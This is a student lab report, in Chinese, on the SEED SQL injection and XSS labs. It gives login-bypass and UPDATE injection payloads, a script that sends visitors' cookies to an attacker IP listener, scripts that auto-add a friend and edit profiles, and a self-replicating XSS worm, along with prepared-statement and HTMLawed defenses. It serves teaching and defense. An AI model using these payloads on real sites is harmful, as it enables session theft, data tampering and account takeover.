20252904 2025-2026-2 《网络攻防实践》第10周作业
20252904 2025-2026-2 《网络攻防实践》第10周作业
1.实践内容
1.1实践任务
1、SEED SQL注入攻击与防御实验
(1)熟悉SQL语句:进入 Users 数据库,查看 credential 表的结构与数据内容,掌握基本 SQL 查询方式。
(2)SELECT注入攻击:针对登录验证中的 SQL 拼接漏洞,在未知密码的情况下构造注入语句,绕过身份认证并以管理员身份登录系统。
(3)UPDATE注入攻击:在员工个人资料编辑页面中,通过构造异常输入影响 UPDATE 语句执行,实现对个人信息字段的非授权修改,例如修改工资信息。
(4)SQL对抗:修改后端登录验证代码,使用 Prepared Statement 进行参数化查询,使用户输入不再被当作 SQL 语句执行,从而阻止 SQL 注入攻击。
2、SEED XSS跨站脚本攻击实验
(1)弹窗警告:在个人资料页面中嵌入 JavaScript 脚本,使其他用户访问该页面时触发警告弹窗。
(2)显示Cookie:通过脚本读取访问者的 Cookie 信息,并以弹窗形式显示,理解 XSS 对会话信息的威胁。
(3)窃取Cookie:将受害者的 Cookie 信息发送至攻击者监听服务器,模拟敏感会话信息泄露过程。
(4)自动加好友:利用 JavaScript 构造请求,使访问者在不知情的情况下自动将攻击者添加为好友。
(5)修改受害者资料:通过恶意脚本自动修改访问者的个人资料内容,例如将个人简介修改为指定文本。
(6)编写XSS蠕虫:使恶意脚本能够自动复制到受害者的个人资料中,从而在用户访问过程中形成持续传播。
(7)对抗XSS:通过配置内容安全策略(CSP)、限制脚本来源、设置 Cookie 的 HttpOnly 属性以及加强输入过滤和输出编码,降低 XSS 攻击风险。
1.2相关知识点整理
1、SQL注入
SQL注入是指攻击者将恶意输入插入到数据库查询语句中,使用户输入被数据库当作SQL代码执行。其根本原因是程序直接拼接用户输入,缺少有效的参数化处理。SQL注入可能导致登录绕过、数据泄露、数据篡改等安全问题。
2、SELECT注入
SELECT注入常见于登录验证和信息查询功能中。当系统将用户名、密码等输入直接拼接到SELECT语句中时,攻击者可能改变原有查询条件,使密码验证失效,从而在未知密码的情况下绕过身份认证。
3、UPDATE注入
UPDATE注入常见于用户资料修改功能中。如果系统没有严格限制用户可修改的字段,攻击者可能通过构造异常输入改变UPDATE语句结构,从而修改原本不应修改的数据,例如工资、权限或其他敏感信息。
4、Prepared Statement参数化查询
Prepared Statement是防御SQL注入的重要方法。它将SQL语句结构和用户输入数据分离,用户输入只会被当作普通参数处理,不会被解释为SQL代码执行,因此能够有效防止SQL注入攻击。
5、XSS跨站脚本攻击
XSS是指攻击者将恶意脚本注入到网页中,当其他用户访问该页面时,脚本会在受害者浏览器中执行。XSS可能造成弹窗、Cookie泄露、用户资料被篡改、会话被劫持等问题。
6、存储型XSS
存储型XSS是指恶意脚本被保存到服务器数据库中,例如个人资料、留言、评论等位置。当其他用户访问相关页面时,恶意脚本会自动执行。由于代码长期存储在服务器端,因此传播范围和危害较大。
7、Cookie与会话安全
Cookie常用于保存用户登录状态和会话标识。如果XSS脚本能够读取Cookie,攻击者可能冒充受害者身份执行操作。常见防护措施包括设置HttpOnly属性防止脚本读取Cookie,设置Secure属性限制Cookie通过HTTPS传输。
8、XSS防御机制
防御XSS需要从输入、输出和浏览器安全策略等多个方面入手。常见方法包括对用户输入进行过滤,对页面输出进行HTML编码,配置CSP限制脚本来源,设置Cookie的HttpOnly属性,并对敏感操作使用Token校验。
2.实践过程
2.1环境配置
先根据实验需求,安装SEEDUbuntu 16.04 32位虚拟机。
将安装包下载后无法立即使用没法直接打开虚拟机,需要新建虚拟机后导入才行。
新建虚拟机

这里直接点击下一步

稍后安装系统(因为咱们有安装包了,后面直接导进来就行了)

用的系统是32位的所以选这个

安装到D盘

这个随意

后面直接选下一步就行不用更改,选择使用现有虚拟磁盘。

安装好后进入系统

进入系统

可以安装一下VMware Tools 安装,点击vmvare中的虚拟机选项安装VMware Tools。

将压缩包复制到home界面,进行解压。

修改主机名
hostname 2904zjy


2.2SEED SQL注入攻击与防御实验
1.熟悉SQL语句
正式开始实验。输入mysql -u root -p 登录数据库,密码为seedubuntu

输入show databases;查看mysql中的数据库

输入use Users;、show tables; 查看Users数据库和数据表

查询当前表的所有内容
select * from credential;

输入条件,查询Name为‘Alice的相关信息。
select * from credential where Name = 'Alice';

开始对SELECT语句的SQL注入攻击。
首先用浏览器打开 www.SEEDLabSQLInjection.com 网页

右键查看网页源码。

可以发现登陆的表单中使用 get 请求方法访问unsafe_home.php

从图片源码可以看出,登录表单通过 method="get" 将用户名和密码提交到 unsafe_home.php,说明用户输入会以 URL 参数形式传递给后台。如果后台在处理登录时直接将 username 和 Password 拼接到 SELECT 查询语句中,例如 SELECT * FROM credential WHERE name='$username' AND Password='$password',就会产生 SQL 注入风险。攻击者可以在用户名处输入类似 Admin'# 的内容,利用单引号闭合字符串,并用 # 注释掉后面的密码判断条件,使原本需要同时验证用户名和密码的查询变成只验证用户名,从而绕过登录认证并以管理员身份进入系统。该漏洞的根本原因是程序没有对用户输入进行过滤和参数化处理,导致用户输入被数据库当作 SQL 代码执行。
使用命令:
vim /var/www/SQLInjection/unsafe_home.php
查看可能存在的SQL注入漏洞的登录页面PHP文件。

图中红框展示了 unsafe_home.php 后台登录验证的核心代码,程序先通过 getDB() 连接数据库,然后直接拼接用户输入构造 SELECT 查询语句:WHERE name='$input_uname' and Password='$hashed_pwd'。这里的漏洞点在于 $input_uname 被直接放入 SQL 语句中,没有进行参数化绑定或严格过滤,因此攻击者可以在用户名位置输入 Admin'# 等注入语句,使 SQL 变为只判断 name='Admin',而后面的 and Password='...' 被 # 注释掉,从而绕过密码验证。
根据刚才分析的特性,尝试下面的账号和密码
用户名:Admin'#
密码:空

发现真的可以进入。说明试验成功。

2.对 UPDATE 语句的 SQL 注入攻击
接着上面实验,我们现在选一个自己喜欢的名字,我选的Boby。用Boby进行登录。(密码 seedboby)

这是个人信息。点击edit profile 选项发现可以编辑个人信息。

根据刚才一样查看后端代码,使用命令为:
vim /var/www/SQLInjection/unsafe_edit_backend.php

从图中的代码可以看出,当前分析的是个人资料修改页面中的 UPDATE 语句。程序在保存用户信息时,直接把我在页面中输入的 nickname、email、address、PhoneNumber 等内容拼接到 SQL 语句中,例如 UPDATE credential SET nickname='...', email='...', address='...' where ID=$id。这里并没有使用参数化查询,也没有对输入内容进行严格过滤,因此我可以利用某个可编辑字段插入额外的 SQL 片段,改变原本的更新逻辑。比如我在昵称字段中构造 ', salary='50000,就可能让数据库在更新昵称的同时,把工资字段也一起修改掉。也就是说,这个漏洞的核心原因是用户输入没有被当作普通数据处理,而是被拼接进 SQL 语句后当成代码执行,最终可以通过 UPDATE 注入实现对敏感数据的非法篡改。
篡改工资字段可以在 Nickname 输入框中填写:
', salary='50000

发现原本是30000,现在是50000了。篡改成功。
3.SQL 对抗(一定要用root用户修改)
首先我们修复实验一的SQL语句。打开刚才看的后端SQL语句
vim /var/www/SQLInjection/unsafe_home.php

把原来的SQL语句进行替换
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();

按esc,输入:wq保存

现在开始实验修改是否可以,输入Admin'#

表示修补成功。
2.3SEED XSS跨站脚本攻击实验
1.弹窗显示cookie信息
首先在浏览器访问 http://www.xsslabelgg.com

账号:Boby
密码:seedboby
进行登录。

点击Boby的头像,进入edit profile界面

输入XSS攻击代码:
<script>alert("20252904zjy");</script>

保存后,会弹出警告,说明警告是存在的。我们下一步开始实验

重新修改 "Brief description" 中的代码为:
<script>alert('cy Cookie:' + document.cookie);</script>

保存后,页面弹出包含当前用户 Cookie 的警告窗口,证明可以通过 XSS 获取用户会话信息。

2.窃取受害者的cookies
查看攻击者主机的 IP 地址:
ifconfig

假设攻击者 IP 为 192.168.200.15。
构造窃取 Cookie 的恶意代码,将 Cookie 发送到攻击者监听的 500 端口:
<script>document.write('<img src=http://192.168.200.15:500?host=cy&c='+escape(document.cookie) + ' >');</script>

在攻击者终端开启端口监听:
sudo nc -l 500 -v

使用Alice账号登录后,查看Boby个人主页,在监控中显示出cookies信息。

3.成为受害者的朋友
手动添加 Alice 为好友。先按 F12 打开浏览器开发者工具,切换到 "Network" 标签,然后再按添加Alice好友。

可以擦好看相关信息参数

点击Params,查看friend, __ elgg_ts, __elgg_token三个参数。

在"About me" 字段添加自动加好友的 JavaScript 代码:
<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 44为Samy的用户ID
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44&from=cy" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();}</script>

这是发现已自动添加Alice好友。

4.修改受害者的信息
将下面信息放入到"About me" 字段:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>changed by 20252904ZJY.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

打开主页后发现Alice主页已被修改。

5.编写 XSS 蠕虫
构造具有自我复制能力的 XSS 蠕虫代码,将自身注入到受害者的个人资料中:
<script id="worm" type="text/javascript">window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>主机ZJY的XSS蠕虫已感染!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>
用boby看alice主页后,用sammy的账号看boby账号

修改完之后资料发生改变。

再通过登录alice账号查看Boby主页。
一开始是这个

查看后发现自己也被感染。

同样的登录admin账号查看也是。

6.对抗 XSS 攻击
使用 Admin 账号登录 Elgg,点击右上角 "Account" -> "Administration" -> "Plugins"。

开启后,它会对用户提交到 Elgg 网站中的 HTML 内容进行安全过滤,主要效果是限制或清除危险标签和脚本代码。之前实验内容就会起到防御作用。

HTMLawed 开启后的作用就是:对用户输入内容进行安全过滤,阻止恶意脚本被保存和执行,从而降低 XSS 攻击风险。
我们删除admin 简介内容,重新尝试感染自动传播的蠕虫。
发现浏览后,没有像之前那样感染。说明防御成功。

3.学习中遇到的问题及解决
- 问题1:发现文件保存不了。

- 问题1解决方案:发现要使用root用户输入修改文件才有写功能权限。

4.实践总结
这次实验比上次实验好理解一些,不过干货依旧多多。本次实验主要完成了 SQL 注入和 XSS 跨站脚本攻击两部分内容。通过 SELECT 注入和 UPDATE 注入,我理解了直接拼接用户输入会导致登录绕过和数据篡改等风险,也验证了 Prepared Statement 能有效防御 SQL 注入。通过 XSS 弹窗、Cookie 窃取、自动加好友、修改资料和蠕虫传播实验,我认识到恶意脚本被存储并执行后会严重威胁用户会话和个人信息安全。防御手段我认为不仅要在设计代码后维护,更是要在设计时就要注意到这些比较明显以及危险的漏洞,老师非常认真,教了我攻击的正反手教学,学到了!给强哥点赞!
浙公网安备 33010602011771号